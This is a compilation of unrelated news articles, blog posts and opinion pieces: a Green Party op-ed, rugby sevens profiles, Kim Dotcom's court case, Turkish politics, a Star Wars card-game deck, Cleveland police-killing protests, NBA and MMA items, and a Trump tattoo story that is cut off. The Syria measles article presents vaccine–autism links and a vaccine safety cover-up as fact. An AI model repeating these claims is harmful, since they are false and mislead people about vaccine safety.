and any hope of sustainable quality of life. This affects us all, regardless of our personal political views. What most people have lost sight of is that a political party is merely a tool, not an identity. Protecting our futures and say in governance cannot be effectively nor ethically handled through empty slogans, high-dollar lobbyists, or focusing on trivialities while atrocities get effectively normalized. Successfully clouding this fact has allowed most political opinion and direction to become just dictated and assimilated, instead of generated and represented. How about instead of teams or details, we unite in basic ethics? I know we've been taught "winning by any means" justifies dishonesty and spin for the greater good, but this bad logic is the same one being utilized by those we must overcome. Lowering ourselves to their level only evens the playing field to where sheer power and money win. By outdating our integrity, we've unfortunately turned reality into just another opinion to be argued away or ignored. We must face our reality; neither minority-yet-controlling party represents or protects us. Equal justice under the law is a bad joke. Native Americans are now being arrested trying to stop more oil dumping into our water. Families in places like Flint are being poisoned by their own crumbling infrastructure. Our bloated military, bigger than the next several largest combined, are now bombing seven different countries while most of us drown in poverty and debt. One candidate still in this race is fundamentally opposed to every single one of these issues. Dr. Jill Stein of the Green Party has spoken out but largely not been heard, buried under verifiably skewed polls and the childish, distractionary soap opera drama our mainstream media has chosen to focused on instead. We have a true "none of the above" third party solution available to 48 states- plenty to collectively say to the reigning duopoly, enough is enough. There's a good chance that voting will still be rigged- bring it on. Bernie's run helped us prove that the DNC ran a completely fixed race, with every kind of manipulation and collusion possible being used. His mass appeal and turnout forced them to expose their own criminality in covering it up. Why not do it again? Make the whole damn country light up Green, see how well they can manipulate that with the whole world watching and reporting it closely. So what are our "chances" of real change happening? That's up to us- all of us- and whether we can lay down our arms against fellow countrymen to finally effectively overcome the domestic terrorism of oligarchic oppression. I urge everyone to talk openly with your friends, families, strangers, anyone who will listen. Let's create informed voters. Let's beat these guys at their own game. Let's stop just complaining, and start actively organizing a truth offensive. After all, America historically finds greatest unity and patriotic pride when facing its biggest threats; surely this one qualifies? -It’s the weekend all 7s fans look forward to every year, the biggest party on the circuit. Here are ten stars to watch out for among the many on show. CECIL AFRIKA The Blitzbokke came oh so close to taking the spoils in Tokyo, and one wonders if they might have had their star playmaker been fit to partake. One of the very best players South Africa have ever produced in the shortened version, Afrika is a fabulously gifted footballer with superb skills from both hand and foot, and his return is a big boost to the squad with the series title on a knife edge. Alongside Justin Geduld and Branco du Preez, coach Neil Powell has three dynamite sparks capable of weaving magic, but there’s no question whose name will be first on the team sheet. ANDREW AMONDE Paul Treu might not have Humphrey Kayange to call on, but he does have another talismanic figure up front to lean on for some much-needed inspiration. The Kenyan captain was one of the few to stand out of his countrymen in what has a mediocre effort in Tokyo. Tall and limber even though heavily armored with muscle, Amonde is a powerhouse runner with excellent offloading skills who is more than happy to lower the shoulder when his team needs some hard yards. DANNY BARRETT A recent graduate of the famed UCal Golden Bears program, the big back rower is more rugged than what one might expect from someone out of San Francisco. After some eye-catching displays in the ARC tournament he’s been thrown in at the deep end in the IRB circuit, to which he has responded superbly. Somewhat ungainly but deceivingly quick, his trademarks are a piston-like fend (as Canadian Harry Jones can attest to) and thumping tackles that leave even the spectators wincing. BEN LAM Gordon Tietjens has a habit of turning prospects into world beaters, and had this dynamo from Auckland not been injured for the entirety of the ITM Cup he might already be plying his trade in Super Rugby, but instead he is regaining his fitness on the circuit once more. The nephew of current Connacht coach and former Manu Samoa legend Pat Lam has a strong pedigree and stronger strides. Formerly a hulking winger, he is now found more often in the midfield, sucking in defenders and creating space for the likes Sherwin Stowers and George Tilsley out wide. EMOSI MULEVORO There are at least a half dozen genuine stars one could pick out from the defending champions, names like Pio Tuwai and Samisoni Viriviri, but the man who stole the show in Tokyo was the Navy representative from Kadavu. With captain Osea Kolinisau occupying the flyhalf position, Mulevoro has had to fight off the quicksilver Waisea Nacuqu for the scrumhalf spot. Blessed with lightning acceleration and dancing feet that would make his illustrious predecessors proud, don’t be surprised to see him shine again at So Kon Po. MARTIN RODRIGUEZ Followers of Argentine rugby might recognize a familiar name among their contingent, one more often associated with the pink jersey of Stade Français than that of the Pumas 7s side. After featuring heavily in the World Cup he has struggled with injury for the past couple seasons and finding game time harder to come by, Rodriguez has returned to Rosario to revive his career, and is hoping to restore some confidence with a return to the faster code. Strongly built and with good footballing skills, he’ll hope his experience rubs off on some of his younger teammates this weekend. JAMES RODWELL England’s ginger giant plays his 50th tournament in Hong Kong, adding another stamp on his accomplished international career that began in Dubai in 2008 and also includes two 7s World Cups and a Commonwealth Games. The aerial specialist is approaching his 30th birthday but remains in peak physical condition and one of the premier support players on the circuit. Six years is a lengthy career in this competition, but his old teammate Simon Amor will be hoping he can get a couple more from one of his on-field lieutenants. CONOR TRAINOR The dynamic midfielder looked set for stardom after scoring two tries against the All Blacks at the World Cup, but injuries and university obligations have slowed his progress. With both now behind him, the 24 year old has turned his focus to international rugby, starting with 7s, in the hopes of earning a professional contract. In this version he usually lines up at prop, but it’s his running and distribution skills that have helped propel a surging Canadian side from also-rans to regular cup quarter finalists. VIRIMI VAKATAWA You could be forgiven for thinking that the Racing Métro flyer was playing for another country, he is after all a Fijian age-grade international, but he has instead opted to wear the tricolors of his adopted nation like that of another recent residency ‘poach’, Noa Nakaitaci. Whether or not one agrees with the policy, his talent and potential to step up to the senior side are not so debateable. A three-quarter in XVs, he lined up at prop for France in Tokyo and his strength and balanced running have the eyes of the selectors already. LEE WILLIAMS Wales lost one of their playmakers in Rhys Jones to injury in Tokyo, but have thankfully regained the services of another. Williams is one of their few top-class 7s exponents, the last remaining member of the World Cup winners, and his speed of foot and thought will be a major boost to the side. On top of his talents he also assumes the captaincy, a role not foreign but a challenging one in light of his team’s struggles this season. -An incorrect court order issued against the founder of Megaupload has been declared “null and void” by a New Zealand judge. The legal bungle could lead to the return of the internet tycoon’s multi-million dollar fortune. New Zealand police reportedly made a procedural error and applied for the wrong kind of restraining order. As a consequence internet mogul Kim Dotcom, formally known as Kim Schmitz, was not afforded the opportunity to defend himself prior to the seizure of his assets eight weeks ago by the police. The Judge presiding over the case, Justice Judith Potter said on Friday that the order carried no “legal effect” and the case would have to be re-evaluated, the NZ Herald reports. Potter said she would soon rule on whether the mistake meant the internet mogul should get his property back. Kim Dotcom’s legal defense team had previously challenged the restriction order, calling it unlawful and demanding that their client’s assets be released. Accused on multiple accounts of internet piracy, Dotcom was arrested by the New Zealand authorities on January 19. During the subsequent police raid on his mansion, millions of dollars of assets were confiscated, among them bank accounts, properties, jet-skis and dozens of cars. It also coincided with the shut-down of the file sharing website Megaupload on grounds of copyright violation. The seizure left Dotcom without any funds to mount a legal defense. The internet tycoon was released on bail on February 22 and is currently awaiting extradition to the US, where he will be put to trial for charges of copyright infringement, racketeering and money laundering. Megaupload was one of the top 20 visited sites on the internet and constituted four percent of the overall internet traffic. The US department of justice believes that its owners earned over $175 million in illegal revenues by selling ads and subscriptions on the site. A provisional court date for Dotcom’s extradition hearing has been set for August 20. -45User Rating: 4 out of 5 Review title of Alex Not bad, it can be better though So far its a pretty good emote app, however its missing a few things, one of the big ones are a better way of looking through them, worded categories, and a accent color option, other small ones are a custom option, and adding some missing emotes. Worded categories are pretty self explanatory, instead of icons have them sorted by words like Happy, Angry, Sad, Surprised, Smug, and Other, Favorites can stay a star icon though. The layout is kind of an eyesore to look through, and on some displays it can cause the "dot illusion" , It would be nice if the boxes were bigger and also have a list view instead of tiled. The last thing would be the accent color, currently its only blue, and uses a light theme, a dark theme and accent color would fix this. So its pretty good but like I said it can be better, its missing some other emotes like ᕕ( ᐛ )ᕗ , (งツ)ว, but those could probably be added later or fixed if there was a custom option. -Friday on Fox News Channel’s “Fox & Friends,” White House aide Kellyanne Conway pointed to the negative political discourse on social media playing a role in the shooting at a Republicans practice for a congressional charity baseball game earlier this week. That shooting critically injured House Majority Whip Steve Scalise (R-LA), who is recovering in a Washington, DC hospital. Conway said, “I really would ask people to think about the hateful rhetoric. This man, this shooter the other day, didn’t hate baseball, He hated Republicans, and his social media feed was a complete anti-Trump, anti-Republican screed. For those particularly in the media who are so obsessed with the president’s social media postings, why isn’t everybody looking inside a little bit at what they’re posting and what they’re saying? Nobody is responsible for this shooting except the shooter. There is no question about that. But at the same time you can oppose policies, but with some such hateful charged rhetoric that active resistance becomes armed resistance in the case of this lone gunman.” She continued, “Look at Twitter, If I were shot and killed tomorrow, half of Twitter would explode in applause and excitement. This is the world we live in right now. It’s terrible. Again it is one thing for people to say I disagree with you on the health care repeal, on taxes or national security plans, but you can’t attack people personally in a way and think that tragedies like this won’t happen.” She added, “This is also the natural by-product you have after images of the president being shot in rapper’s video, or being assassinated in a production there in New York City, or a picture of a severed head. All of that is a toxic stew. Again there is no one to blame but the shooter here, but the calls for tamping down, there should also be some introspection there.” Follow Pam Key on Twitter @pamkeyNEN -Updated on May 5 at 8:29 a.m. ET Turkish Prime Minister Ahmet Davutoglu has stepped down after a power struggle with President Recep Tayyip Erdogan. “I decided that for the unity of the (ruling party) a change of chairman would be more appropriate,” Davutoglu said. “I am not considering running at the May 22 congress.” He will remain in office until then. The move allows Erdogan to tighten his grip on power. The two men have clashed since Davutoglu became prime minister. As Bloomberg explains: Erdogan ran Turkey for more than a decade as prime minister and has sought to maintain his tight grip on power even after moving up to the presidency, traditionally a largely ceremonial office, in 2014. His handpicked successor Davutoglu has struggled to assert his own authority. Davutoglu’s authority had been weakened recently after party leadership stripped the prime minister of some powers. Before a meeting between the two leaders late Wednesday, Erdogan alluded to their tensions. He said, according to the Hurriyet Daily News, “What matters is that you should not forget how you got to your post.” -Roughly ten days before worlds I built a strange deck that I nearly decided to run for worlds. Ultimately, I decided to go ahead and play the light side deck I had been playing for over a month (write up about that deck here). Since worlds though, I’ve been playing the ‘experimental’ deck. I thought my only regret from worlds was not running a second Falcon objective set in the deck I took to worlds… but man, now I have two regrets! Not only do I have a whole lot more fun with this deck, it actually seems to be working much more consistently against the ‘good decks’ that I expected to see at worlds. I would think it was a fluke, but it’s been doing well against players I consider to be top level players. The more I play the Star Wars LCG though, the more I’m learning to ‘unlearn what I have learned’ about card games. In particular, the way I value a card is drastically different in this game. If the structure of objective sets wasn’t enough, add in the fact that you can draw four or five cards just about every turn and card value is drastically different. So, what does all of this have to do with this strange deck I built before worlds? Everything, of course! The deck I built isn’t necessarily seeking a particular advantage, but has a lot of cards that play well with each other. I often have turns where I have to sit for a few minutes just to figure out what I want to do, primarily because there are so many ways to use the cards in my hand. This is very unlike my Jedi deck, where the right move is generally obvious. This makes using the deck a lot more fun and playing against it all the more maddening. When you do so much with so little, it can really catch your opponent off guard. This deck is honestly the combination of several cards I’ve been looking at for quite some time. It all started with everyones favorite stuck up, half-witted, scruffy-looking nerf herder, in the guise of a rebel card: Han Solo. Aren’t You a Little Short for a Stormtrooper? Searching through your deck for a card is, arguably, the most powerful effect in any card game. Well, maybe outside of a free resource that generates three resources instantly… So, for the first time in the Star Wars LCG we get a search effect and it comes on a Rebel Han Solo with solid stats. Since you don’t need to win an edge battle, you can often force your opponent into a situation where if they block and win the edge battle, you get to search your deck for a card and they had to focus down a defender. Or, you can also just win the edge battle and clean up most defenders. Of course, searching your deck is only as important as the cards you can go get, so when I first saw the Rebel Han Solo my brain immediately starting thinking of Rebel cards I could want to get on command. My list looked something like this: – Rebel Assault (Defense of Yavin 4 or Mobilize the Squadron) – Home One (The Rebel Fleet) – Princess Leia (Fleeing the Empire) – A New Hope (Decoy at Dantooine) This list has two of my favorite cards that I rarely use: Princess Leia and A New Hope. This is when things began to really start working as far as the deck concept. I didn’t like the idea of basing the deck around Han alone, as I might never even see him. However, if I also have Princess Leia. who becomes insanely better when you can control when she leaves play, now I have four characters I can draw into that all my leave play effects work well with. Add in Bright Hope that comes with the Rebel Han that removes a token of any type from itself when another friendly unit leaves play, and you have lots of reasons to have characters leaving play. This is not to mention Sith damage decks that find ways of removing lots of units just about every turn! Where things really took off though, was the fact that these two objectives (Fleeing the Empire and Decoy at Dantooine) really solved my problem of consistently getting these characters to leave play through You’re My Only Hope, A New Hope, and Fall Back. Han’s objective, Evacuation Procedure, also packs a removal effect. So at this point, the core of the deck is: 2 x Evacuation Procedure 2 x Fleeing the Empire 1 x Decoy at Dantooine Now, on to the junk. Hunk of Junk The rest of the deck really fell together after this. In any deck that has a decent number of characters in it, Asteroid Sanctuary has to be considered. The thought of attacking with the Falcon, triggering the ability to drop in Han, and then attacking with Han just seemed way too good to pass up. The Falcon also interacts fantastically with Bright Hope, forcing a leave play with the Falcon each turn can make Bright Hope do some serious work. I would be remiss if I didn’t include at least a single Rebel Assault in a deck that let’s me search for Rebel cards, so Defense of Yavin 4 is at minimum a one of. Considering I’ve already got two Falcon and two Bright Hope in the deck, the objective itself has become a huge part of this deck. Playing the Millenium Falcon for 2 or 3 resources can just ruin your opponent. This also gives me two of each Y-Wing, Red 2, Rebel Assault, Hidden Outpost, and Astromech Droid Upgrade (wonderful with Bright Hope). So now the deck is shaping up and looks like this: Affiliation: Smugglers and Spies 2 x Asteroid Sanctuary 2 x Defense of Yavin 4 2 x Fleeing the Empire 2 x Evacuation Procedure 1 x Decoy at Dantooine With one objective slot left to get to ten objective, the final slot could easily go to any Smuggler or Rebel Objective. To be honest, this final slot is anything but decided at this point. There are several options here. On my consideration list is: Renegade Squadron Mobilization – This objective seems too good for the deck to not include. For starters, the objective itself pairs with A New Hope amazingly. I’ve had games where I draw 4-5 cards off of playing A New Hope. It also features Renegade Squadron, which is a great card. It’s especially great with Princess Leia being captured so often in this deck and it likely that Defense of Yavin 4 is on the board. The other really amazing synergy here is Echo Caverns. A great card in it’s own right, when Evacuation Procedure is out it becomes insane. Being able to use it on you and your opponents turn is just sick. Raise the Stakes – The objective and the Blockade Runner give the deck quite a bit of added punch. I could live without the Bothan Spy and the Smuggling Compartment, but an additional Cloud City Operative and Swindled are fantastic. The Swindled is a great option for getting Leia to leave play when you need her to and for triggering Bright Hope if necessary. Of course, bouncing a Royal Guard isn’t ever awful either! Trust Me – I think any time I start Smugglers, this objective is on my list. The objective itself is great against Sith and Lando in a Falcon deck can bring the pain. It has a few cards you don’t want however, so it’s certainly not at the top of the list. At the moment, I think there are just too many synergies not to use Renegade Squadron Mobilization in this deck. So, on to the deck list: Affiliation: Smugglers and Spies 2 x Asteroid Sanctuary 2 x Defense of Yavin 4 2 x Fleeing the Empire 2 x Evacuation Procedure 1 x Decoy at Dantooine 1 x Renegade Squadron The deck might not look like much, but she’s got it where it counts. Cards Are Cards While the list may not look like much, I dare you to try the deck a few times. I can literally have nothing on the board and generate an unimaginable amount of damage. You have to know the various options of the deck to really see it’s beauty, so I recommend trying it when you have time to take the game slow and consider your options. It’s really quite insane just how many options the deck presents each turn. In the end, what I continue to learn about Star Wars is that the value of each card is drastically lower than in most other games. This has a lot to do with the draw mechanic, but also because so much more of this game happens outside of the stats that what is on a card. How you attack, with which units, and in which order makes all the difference. The player skill involved in using the tools at your disposal appropriately is immense. Even if a card doesn’t seem all that great at first, give it a try. It may not be tall enough to be a stormtrooper, but it might end up being quite a bit better than you think. I’ve seen quite a bit of ‘conventional’ wisdom being developed in this game and I think Star Wars is way too young to be developing hard and fast rules for decks and what is viable. If you play this game, I implore you to not settle for conventional wisdom, to experiment with objectives people aren’t using, and to push the limits of what is possible in this game. Don’t believe the all powerful they. We’ve got several months until Store Championships and regionals roll around, so this is a fantastic time to give objectives a try that don’t look that great on paper. Until next time, I’ll be seeing if I can’t find a way to make a viable Scum deck… As always, may the Force be with you. Zach -CLEVELAND, Ohio -- For the second day in a row, a handful of activists visited Cuyahoga County Prosecutor Timothy J. McGinty's office to ask questions about the investigations into the police killings of Tanisha Anderson and Tamir Rice. And for the second straight day, they said, they were told to "come back tomorrow." The activists, which included Joshua Stephens, Don Bryant and two others, showed up at McGinty's office in the Cuyahoga County Justice Center about noon Wednesday, hoping to find out when a grand jury will hear evidence in the two November deaths involving Cleveland police. "We just feel like (McGinty) is intentionally dragging his feet," Stephens said in a phone interview. The quest began Tuesday, when four protesters sat in McGinty's office for close to an hour. McGinty's spokesman, Joe Frolik, told the group that if they came back Wednesday, McGinty might have time to meet with them, Stephens said. In the people's office of Cuyahoga Cty, Prosecutor Timothy J. McGinty waiting for two police officers to be arrested for the murder of Tamir Rice, 12-year-old gunned down in Cleveland, 6 mm onths ago. Join us, we got peanut butter n jelly sandwiches. Posted by Don Bryant on Tuesday, June 16, 2015 A Cuyahoga County Sheriff's Deputy asked the four protesters who showed up at the office Wednesday to leave immediately, Stephens said. The deputy said the group could be arrested for trespassing, arguing the office was a place of official business and they had no business there. Once the group explained they were asked to come to the office, the deputy agreed to let them stay for a few minutes, until they found out if they could meet with McGinty, Stephens said. A few more deputies showed up, and the process repeated. Eventually there were five sheriff's deputies to the four protesters. Stephens said the protesters were not chanting, and were not combative with the deputies. Stephens exchanged some texts with Frolik, who eventually asked the group to come back Thursday. The group decided to leave, and three deputies followed them into the elevator and out of the building. "It was really overkill," Stephens said. Frolik offered a different account of what happened Tuesday. He said he asked the group to leave Tuesday because the office has a small waiting area reserved for victims, witnesses, attorneys and others who have appointments. "I offered cards to the people who were here and told them how to email me to request an appointment," Frolik said. "One person took the card. No one emailed." Frolik said he was not in the office when the group showed up again Wednesday, but said he asked the sheriff's deputies to ask the group to leave if they didn't have an appointment. Sheriff's department spokesman John O'Brien did not return a message seeking comment. The group's move comes days after McGinty's office released hundreds of pages of partially redacted investigative material collected by sheriff's deputies probing the death of Tamir. Cleveland police officers Timothy Loehmann and Frank Garmback shot Tamir in Cudell Recreation Center Nov. 22, after they responded to a report of a person with a gun. A Cleveland judge found probable cause that Loehmann and Garmback should be charged for their respective roles in the shooting. The group is also concerned about the status of the investigation into the death of Anderson, who died Nov. 13 while in police custody. The Cuyahoga County Medical Examiner ruled her death a homicide, and that the mentally ill woman who suffered from obesity and heart disease was restrained during her arrest. Cleveland police handed their investigation of Anderson's death to McGinty's office in February, Frolik told Northeast Ohio Media Group at the time. McGinty has said his office will present both cases to a grand jury, but has declined to say when. "We just want some kind of vague time frame," Stephens said. Frolik stuck to that no comment Wednesday, saying it would violate state rules of procedure to discuss grand jury proceedings, including when a grand jury may hear a specific case. He said his office is still reviewing both the Tamir Rice investigation and the Tanisha Anderson investigation, and declined to comment further. Stephens said the group is has not decided whether to show up Thursday, for fear of the same outcome. "That seems to be the universal response from (McGinty's) office to questions about Tamir's case," he said. "Come back tomorrow." Update: Frolik said he returned one text message to Stephens, telling him he was in a meeting. He denied telling the group to come back Thursday. -Laureate International Universities has donated between $1 million and $5 million to the Clinton Foundation. | Getty Bill Clinton’s pay at for-profit education company topped $17.5 million Bill Clinton was paid more than $1 million in 2015 by Laureate Education, a global operator of for-profit colleges, according to tax returns released today by Hillary Clinton’s campaign. The new figure brings the former president’s total compensation from Laureate to more than $17.5 million for his five-year role as an “honorary chancellor.” His role consisted of advising the company on educational matters and traveling to campuses across the world to speak to young people. Clinton ended his position at Laureate in April 2015 after Hillary Clinton launched her bid for the White House. Story Continued Below Laureate International Universities, the company’s international arm for which Clinton worked, has donated $1 million to $5 million to the Clinton Foundation, with a new contribution made as recently as the second quarter of this year, according to records posted on the foundation’s website. Republican presidential nominee Donald Trump has criticized Hillary Clinton’s connection to Laureate. Trump has accused her of having "laundered" money through Laureate while she was secretary of state — a charge that has been discredited by fact-checkers. House Republicans have asked the feds to investigate the Clintons’ ties to Laureate. Laureate says that its international operations represent the largest global network of degree-granting universities in the world, enrolling more than 1 million students across 28 countries. In the United States, the company owns Walden University, a Minneapolis-based online school that the Education Department has placed on a list of colleges that officials are more closely monitoring because of concerns over its “financial responsibility.” Laureate is in the process of going public. It filed for an initial public offering last fall. -UNICEF and the WHO stated that they halted a measles vaccination program in northern Syria after at least 15 children who received the vaccination have developed severe symptoms about an hour after they received the vaccination and died. The United Nations Children’s Fund (UNICEF) and the World Health Organization (WHO) issued a joint statement, announcing the immediate halt of the vaccination campaign, stating: “UNICEF and WHO have been shocked and saddened to learn of the deaths of at least 15 young children in Idlib, Syria. … The death of the children occurred in areas where a measles immunization campaign had been underway”. Abdullah Ajai, a physician who administered the vaccinations at a medical center in Jarjanaz, Idlib, said, according to AP, that the children demonstrated signs of “severe allergic shock” after being given the second round of the shots. The second round of vaccination was launched in Idlib and Deir Ez Zour on Monday. The children were all well below two, reports Reuters, adding that some of the children suffocated to death due to severe swelling. Abdullah Ajai commented on the situation: “There was shouting and screaming, it was hard for the parents. You get your child vaccinated and then you find your child dying, it’s very hard”. At least 15 children have died after receiving the measles shot, although the actual number may turn out to be higher than that. According to reports from rights groups and reports from areas controlled by armed insurgents, the number could be as high as 34 or 50; that is, some hundred percent more than has thus far been reported by the UN. The WHO stated that it would be sending in a team of experts because it is vital to establish the precise cause of the children’s deaths. Both the WHO and UNICEF state, however, that they are hopeful to resume the vaccination campaign as soon as possible. While the WHO and UN bodies like UNICEF continue pushing for vaccination programs worldwide, they have largely failed at addressing fundamental vaccine safety issues. In 2013 the Islamabad City Hospital reported that it began receiving a large number of cases with measles. Over 50% of those who were brought to the hospital had previously been vaccinated. The figures substantiated British reports about a 30-year-long cover-up of serious vaccine safety issues. In 2014 a fully vaccinated person in New York, USA, didn’t only catch the measles after being vaccinated but infected others. Vaccine safety issues, which the WHO according to many experts fails to address appropriately, include, among others; documented correlations between vaccines and neurodevelopmental disorders including autism; pharmacological vaccine safety studies sponsored by big pharma and other conflict of interest; incestuous relationships between vaccine makers and e.g. the Centers for Disease Control in the USA; flouting ethics and violations with vaccine trials in India. Measles belong to a cohort of childhood diseases against which one is immunized for live after coming down with them during childhood. A growing number of vaccine safety concerns prompt a steadily growing number of independent experts to question the benefit of vaccines against e.g. mumps, rubella or measles and calls for the need to give first priority to independent, ethical trials. -Do you consider yourself to be fairly familiar with the Debian Linux distribution? I thought I was familiar with it enough to know its origin and history, how its name was derived and that Richard Stallman, the Father of the Free Software movement, uses a Debian derivative (gNewSense) for his own personal computer. There's one significant piece of the Debian puzzle that I didn't know about: Its Constitution. It has a Constitution and well-defined leadership roles. It also has well thought out rules of engagement, problem resolution and overall structure. I sincerely applaud the creators and successors who've pushed Debian into the mainstream for the past 17 years. Yes, 17 years--can you believe it? When I first heard about Debian, I was working in a small IT support group for about 400 developers and their support staff. I ran an early version of Red Hat Linux on a clandestinely obtained computer in my cubicle. About three dozen of the organization's hardcore developers had access to it. They did some of their development with it and requested, through their management, that I construct and deploy some real server hardware for them using Linux. Red Hat was OK with them but one java developer preferred something called Debian. I said, "What is Debian?" To which he responded, "Well, if you think that Red Hat is the Porsche-driving rich kid, then Debian is sort of your poor cousin once removed." It sounded absolutely intriguing to me. Maybe it was his description or maybe it was because Dan was one of the smartest people I've ever known. In any case, my love affair with Debian started that fateful day in the summer of 1996. I obtained another computer, through less than savory means, and did an over-the-network installation of Debian. Even in 1996, it had an impressive number of software packages available for it (about two GB, if I recall correctly). I installed everything, which, I believe, used to be an option. We never managed to secure real server hardware for the developers but the two systems ran for more than a year. That was until my quiet little gig as developer support was snatched away and I was whisked back under the larger umbrella of corporate support. Such activities are known in the corporate world as "reorganization" and it's always in the best interest of the employees at the bottom of the food chain. Debian and its derivatives are always my favorite Linux distributions in any list I create. Its Constitution further drives home that high praise. A truly democratic Linux distribution. I like it. A lot. It's too bad that large corporations don't take a lesson from Debian and its intelligent design. Not only does it, the collective Debian development community, create perhaps the best Linux distribution currently available but it does it in a democratic and thoughtful way. To the Debian Team: If you ever start your own country, I'm in. Thanks to the Debian Team, Ian Murdock and all of you who support Debian by using it. What do you think of Debian and its Constitution? Do you think it's the correct way to setup and manage a worldwide group of developers? -Kobe Bryant has been among the most culturally relevant players in the NBA for nearly all of his 17-season career. When not winning championships or scoring titles (and often when doing so), Bryant has been one of the more divisive stars in league history, earning criticism for perceived selfishness and nevertheless standing out as one of the most talented and committed players the league has ever seen. No matter what he does, people notice it. It should not come as a great surprise, then, to learn that the younger generation of NBA players looks up to him. As revealed in the annual survey of rookies conducted by John Schuhmann of NBA.com, Bryant is the most common favorite player of this season's incoming class of NBA rookies (via PBT). Here's the voting breakdown from the 36 participants: Scroll to continue with content Ad 1: Kobe Bryant, L.A. Lakers -- 21.2 percent 2: LeBron James, Miami -- 15.2 percent T-3rd: Kevin Durant, Oklahoma City & Dirk Nowitzki, Dallas -- 12.1 percent T-5th: Kevin Garnett, Brooklyn & Chris Paul, L.A. Clippers -- 9.1 percent Others receiving votes: Carmelo Anthony, New York; Vince Carter, Dallas; Tim Duncan, San Antonio; James Harden, Houston; Kawhi Leonard, San Antonio; Steve Nash, L.A. Lakers; Dwyane Wade, Miami Story continues As Schuhmann notes elsewhere, Kobe supplanted LeBron at the top of this list, although it's a little surprising that the Lakers icon doesn't win every year. While James is undoubtedly the best player in the NBA right now, the 19- and 20-year-olds entering the league have never really known an NBA without Bryant serving as a massively important representative of the league. It stands to reason that, even if many players were on the anti-Kobe side, enough would love him that he would win this award until he retires. When LeBron is 35, we would expect him to cast the same sort of shadow over a generation of players. This vote is a testament to Kobe's impact, as well as a useful reminder of the sheer force of his accomplishments. Seventeen years after his arrival in the league, Kobe is still relevant enough to top a list of favorite players. No matter what, he keeps himself on people's minds. Oh, and nabbing that No. 1 spot can't only be a matter of being in the league for a long time. If that were the case, Vince Carter wouldn't have been another receiving votes. -A male cheerleader almost cost his side victory in a recent game between Pittsburgh and Louisville after he rushed onto the court to celebrate a dramatic late slam dunk only to commit a technical foul. The Louisville cheerleader rushes onto the court after Kyle Kuric’s slam dunk (Pic: YouTube) Apparently convinced Kyle Kuric’s dunk had sealed victory for Louisville, the cheerleader rushed onto the court and hurled the ball in the air in celebration. The referees were less than impressed with his actions though and with five tenths of a second remaining on the clock awarded Pittsburgh two free throws for a technical foul for delaying play. Ashton Gibbs proceeded to sink the two throws but missed with a half-court shot that would have tied the contest and sent it into overtime. Instead, Louisville edged the game 62-59. Commenting on the almost catastrophic intervention by the cheerleader, Louisville coach Rick Pitino joked: ‘The male cheerleader is coming to an end. It was good while it lasted. It was fun. Now we’ll try another sport for him.’ Advertisement Advertisement He added: ‘No, I’m sure it was unintentional, but you could actually lose a game that way. Hopefully he’ll learn the rules of basketball next time.’ Watch the male cheerleader in action below: -Kayla Harrison, the two-time Olympic gold medalist in judo, will begin a mixed-martial arts career in the World Series of Fighting. The move is not a surprise. Harrison has been talking about becoming an MMA fighter since she became the first American woman to win a judo gold at the 2012 London Olympics. After she won her second gold this summer in Rio she said she was retiring from judo and hinted at transitioning into an MMA career. Harrison told the website MMAjunkie that she will fight in the World Series of Fighting and also become a commentator for the network starting on 31 December. USA's Kayla Harrison wins second straight Olympic judo gold Read more “I just want everyone to be excited and expect big things from me,” she told MMAjunkie. “This is only the beginning. I’m excited for this new chapter. I’m excited to commentate. I’m excited to be a brand ambassador and help the World Series of Fighting grow their organization as well as help me grow myself as a fighter and a brand myself.” Harrison, 26, has a gregarious, outgoing personality that will help her as a broadcaster and the possibility of being more than just a fighter seems to have driven her decision to join the WSOF. She had long been rumored to be a prospect for the UFC, given her friendship with the organization’s top female fighter, Ronda Rousey. Harrison and Rousey trained together as rising Olympians before the 2008 Games (an event Harrison missed out on) and the two have stayed in touch since. Back in March, Harrison said she considered Rousey a “frenemy.” She said then that Rousey had encouraged her to pursue an MMA career but Harrison moved slowly toward her decision. She already understood many of the judo and jiu-jistu moves but had done little sparring and was unsure how she felt about taking punches. In 2012 Harrison became an American Olympic star as she excitedly celebrated her first gold. She has become a strong voice against abuse after telling the story of how a judo coach sexually abused her. Her Rio celebration was more muted but still enthusiastic perhaps because she knew it was her last chance at another Olympic medal. She will begin her WSOF career with commentary before eventually moving to an actual fight. -Get the biggest football stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email Billionaires Red Bull want to buy a football club in England – and ‘give it wings’ to make it big, writes Alan Nixon in the People. The Austrian-based energy drinks firm are on the look-out for a suitable club, with Anglophile coach Ralf Rangnick, sporting director of Red Bull Salzburg, heading the search. As well as current Austrian league leaders Salzburg, Red Bull already owns clubs in Germany, New York, Brazil and Ghana. The company’s sporting assets also include two Formula One teams: Red Bull Racing and Scuderia Toro Rosso. Now coach Rangnick, who almost got the Everton job in the summer, has been tasked to find a club in England for their latest move into ownership. An insider in the deal said: “Red Bull want a team to take into the Champions League. It is the only market they have not reached yet. Ideally this would be in the London area, but both Everton and Liverpool interest them too because it would not take much to get them to that level. “They have looked at the Championship, but you can spend fortunes there and not make any progress.” Rangnick, an English-educated German, has a good knowledge of the game and is looking at several options. He would also oversee the ­purchase and running of the club. News of Red Bull’s interest is spreading rapidly and there should be no lack of willing sellers. The company’s Formula One success, with Sebastian Vettel taking them towards a fourth straight title, has put them on the map, but buying a club in the ‘home’ of football could be their biggest coup yet. And taking it into the Champions League is the ultimate aim for one of the biggest sports-backing firms in the business. Teams which could be lined up EVERTON Bill Kenwright has been looking for a respectable buyer for his club for years. The fact Ralf Rangnick nearly got the job and knows the club helps. Only snag – Red Bull Everton?!? LIVERPOOL The American owners have pumped in millions and will want a big return on their investment. Genuine worldwide appeal. Red Bull Liverpool does have a ring. CRYSTAL PALACE Red Bull would really give the Eagles wings. London, near airports, very appealing. Would not cost much, but needs a big spend. Red Bull Crystal Palace is a mouthful. WEST HAM Owners who are always open to approaches. New home at the Olympic Stadium makes them appealing too. Red Bull West Ham? Not so crazy. LEEDS The Yorkshire club has history, a huge fan base and owners who would sell at the drop of a hat. Red Bull Leeds United? Why not? -Donald Trump fans in the Hudson Valley are being offered free tattoos to show their support for the Republican presidential candidate. It's one thing to put a lawn sign on your yard or a bumper sticker on your car. But what about permanently inking your body with your favorite candidate's face? A Hudson Valley tattoo parlor is offering up their services to Trump supporters who want to show just how dedicated they truly are. Doyle and his business partner, John Newell, say that they believe in Trump's message and want to give other supporters a way to display their solidarity with the Republican candidate. Sean Doyle is an eight-year veteran of the Marine Corps and part owner of Anarchy Tattoo. Doyle and his business partner, John Newell, say that they believe in Trump's message and want 